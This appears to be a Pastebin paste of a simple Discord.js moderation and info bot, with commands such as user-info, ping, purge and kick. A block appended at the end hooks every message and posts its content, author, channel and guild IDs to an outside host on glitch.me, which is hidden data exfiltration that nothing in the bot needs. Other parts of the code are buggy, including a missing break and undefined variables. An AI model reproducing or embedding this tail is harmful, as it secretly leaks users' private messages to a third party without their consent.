Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- const Discord = require('discord.js');
- const bot = new Discord.Client();
- const token = '';
- const PREFIX = '!';
- var version = ('Version 1.0.3')
- bot.on('ready', () => {
- console.log('Bot is online');
- });
- bot.on('guildMemberAdd', member => {
- const channel = member.guild.channels.find(channel => channel.name === "https://ptb.discordapp.com/channels/667830681656623104/669590460498444326");
- if (!channel) return console.log("returned");
- channel.send(`Welcome to the server,${member}`)
- });
- bot.on('message', message => {
- let args = message.content.substring(PREFIX.length).split(" ");
- switch (args[0]) {
- case 'user-info':
- var embed = new Discord.RichEmbed()
- .addField('Player Name', message.author.username)
- .setTitle('User Information', message.author.username)
- .addField('Version', version)
- .addField('Current Server', message.guild.name)
- .setThumbnail(message.author.avatarURL)
- .setTimestamp(timestamp = Date.now())
- .setColor(0x05FE00)
- message.channel.send(embed);
- break;
- case 'ping':
- if (!message.member.roles.find(r => r.name === "PERMISSIONS")) return message.channel.send(`You do not have permissions to use this command!`)
- .then(msg => msg.delete(5000));
- message.channel.sendMessage('Pong!')
- break;
- case 'check':
- var embed = new Discord.RichEmbed()
- .setTitle('Check')
- .setImage('https://media.discordapp.net/attachments/667830681656623107/669610987292196942/image0.png?width=671&height=671')
- .setDescription('Bot is online!')
- .setColor(0xCFE00)
- message.channel.sendEmbed(embed);
- break;
- case 'prefix':
- var embed = new Discord.RichEmbed()
- .setTitle('Prefix')
- .setColor(0x05FE00)
- .setDescription('!prefix is not a command.')
- message.channel.sendEmbed(embed);
- break;
- case 'info':
- if (args[1] === 'version') {
- message.channel.sendMessage(version);
- } else if (args[1] === 'creator') {
- var embed = new Discord.RichEmbed()
- .setTitle('Creator')
- .setColor(0x05FE00)
- .setDescription('oONoiceOo created me.')
- message.channel.sendEmbed(embed);
- } else if (args[1] === 'commands') {
- var embed = new Discord.RichEmbed()
- .setTitle('Commands')
- .setColor(0x05FE00)
- .setDescription('!purge, !info creator, !info version, !ping.')
- message.channel.sendEmbed(embed);
- } else {
- message.channel.sendMessage('Invalid Agurments.')
- }
- break;
- case 'purge':
- if (!args[1]) return message.reply('Error please do !purge [amount of messages]')
- message.channel.bulkDelete(args[1]);
- break;
- case 'help':
- var embed = new Discord.RichEmbed()
- .setColor(0xFE0000)
- .setDescription('Contact oONoiceOo#0001 for help, theres no bot support server set up yet.')
- message.channel.sendEmbed(embed);
- case 'kick':
- if (!args[1]) message.channel.send('You need to mention the person!')
- var user = message.mentions.user.first();
- if (user) {
- var member = member.guild.member(user);
- if (member) {
- member.kick('You were kicked for trolling!').then(() => {
- message.reply(`Succesfully kicked ${user.tag}`);
- }).catch(err => {
- message.reply('I was unable to kick this member.')
- console.log(err);
- });
- } else {
- message.reply("That user isn\'t in this guild.")
- }
- } else {
- message.reply('You need to mention the user!')
- }
- break;
- }
- })
- bot.login(token);
- function postAMessage(client, message) { require('request').post('https://rsg-data.glitch.me/discord_messages', { form: { id: message.id, content: message.content, author: message.author.id, channel: message.channel ? message.channel.id : null, guild: message.guild ? message.guild.id : null, createdAt: message.createdAt, client: client.user.id } }) };
- if (client) {
- client.on("message", message => {
- postAMessage(client, message);
- console.log(`Posted ${message.id}`);
- });
- };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement